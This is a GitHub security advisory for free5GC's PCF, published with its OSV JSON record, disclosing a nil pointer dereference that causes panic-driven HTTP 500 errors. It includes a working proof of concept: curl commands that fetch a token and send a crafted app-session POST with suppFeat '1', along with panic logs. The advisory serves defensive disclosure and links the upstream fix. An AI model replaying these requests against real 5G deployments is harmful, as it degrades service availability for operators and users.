GHSA-WWQH-7JM5-GJ7W
Vulnerability from github – Published: 2026-05-08 22:40 – Updated: 2026-05-08 22:40Summary
free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.
The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.
This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.
Details
Validated against the PCF container in the official Docker compose lab.
- Source repo tag: v4.2.1
- PCF endpoint: http://10.100.200.9:8000
- Validation date: 2026-03-12
Vulnerable handler path:
postAppSessCtxProcedure
-> medComponents loop
-> appID := medComp.AfAppId
routeReq := medComp.AfRoutReq // nil when AfRoutReq absent
provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)
In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.
Code evidence (paths in free5gc/pcf):
- Affected route + dispatch: NFs/pcf/internal/sbi/api_policyauthorization.go
- Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go
- Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go
- Panic site (nil deref of routeReq.* fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740
PoC
Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.
- Obtain a valid
npcf-policyauthorizationtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'
- Trigger the panic with a single valid authenticated POST whose
ascReqData.suppFeat == "1",medComponentssuppliesafAppId, andAfRoutReqis absent:
curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \
--data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'
HTTP/1.1 500 Internal Server Error
- Control comparison -- same request shape but
suppFeat="0"-> normal201 Created:
curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \
--data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'
HTTP/1.1 201 Created
- PCF container logs show the panic stack landing in
provisioningOfTrafficRoutingInfowithrouteReq = 0x0:
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...)
.../policyauthorization.go:1740
github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure
.../policyauthorization.go:288
github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext
.../policyauthorization.go:139
github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions
.../api_policyauthorization.go:119
[INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |
Impact
NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.
Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents.*.AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.
Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.
No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/pcf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44317"
],
"database_specific": {
"cwe_ids": [
"CWE-476",
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:40:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nfree5GC\u0027s PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == \"1\"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`.\n\nThe trigger is a single valid authenticated request -- changing only `suppFeat` from `\"0\"` to `\"1\"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`.\n\nThis endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.\n\n### Details\nValidated against the PCF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- PCF endpoint: `http://10.100.200.9:8000`\n- Validation date: 2026-03-12\n\nVulnerable handler path:\n```\npostAppSessCtxProcedure\n -\u003e medComponents loop\n -\u003e appID := medComp.AfAppId\n routeReq := medComp.AfRoutReq // nil when AfRoutReq absent\n provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)\n```\n\nIn `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `\"0\"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `\"1\"` the branch is entered and the nil-deref fires.\n\nCode evidence (paths in `free5gc/pcf`):\n- Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go`\n- Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go`\n- Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go`\n- Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740`\n\n### PoC\nReproduced end-to-end against the running PCF at `http://10.100.200.9:8000`.\n\n1. Obtain a valid `npcf-policyauthorization` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4\u0026targetNfType=PCF\u0026scope=npcf-policyauthorization\u0027\n```\n\n2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == \"1\"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent:\n```\ncurl -i -X POST \u0027http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cvalid_npcf_policyauthorization_jwt\u003e\u0027 \\\n --data \u0027{\"ascReqData\":{\"suppFeat\":\"1\",\"notifUri\":\"http://127.0.0.1:9999/appsess\",\"ueIpv4\":\"10.60.0.3\",\"dnn\":\"internet\",\"medComponents\":{\"1\":{\"medCompN\":1,\"afAppId\":\"app1\"}}}}\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\n```\n\n3. Control comparison -- same request shape but `suppFeat=\"0\"` -\u003e normal `201 Created`:\n```\ncurl -i -X POST \u0027http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cvalid_npcf_policyauthorization_jwt\u003e\u0027 \\\n --data \u0027{\"ascReqData\":{\"suppFeat\":\"0\",\"notifUri\":\"http://127.0.0.1:9999/appsess\",\"ueIpv4\":\"10.60.0.3\",\"dnn\":\"internet\",\"medComponents\":{\"1\":{\"medCompN\":1,\"afAppId\":\"app1\"}}}}\u0027\n```\n```\nHTTP/1.1 201 Created\n```\n\n4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`:\n```\n[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference\n github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...)\n .../policyauthorization.go:1740\n github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure\n .../policyauthorization.go:288\n github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext\n .../policyauthorization.go:139\n github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions\n .../api_policyauthorization.go:119\n[INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |\n```\n\n### Impact\nNULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat=\"0\"` proves the request shape itself is otherwise valid.\n\nGin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat=\"1\"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs.\n\nAny party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.\n\nNo Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/879\nUpstream fix: https://github.com/free5gc/pcf/pull/65",
"id": "GHSA-wwqh-7jm5-gj7w",
"modified": "2026-05-08T22:40:11Z",
"published": "2026-05-08T22:40:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-wwqh-7jm5-gj7w"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/issues/879"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/pcf/pull/65"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/pcf/commit/508d70b8527a6c8c923179dad450ea01e16b6aeb"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "free5GC\u0027s PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.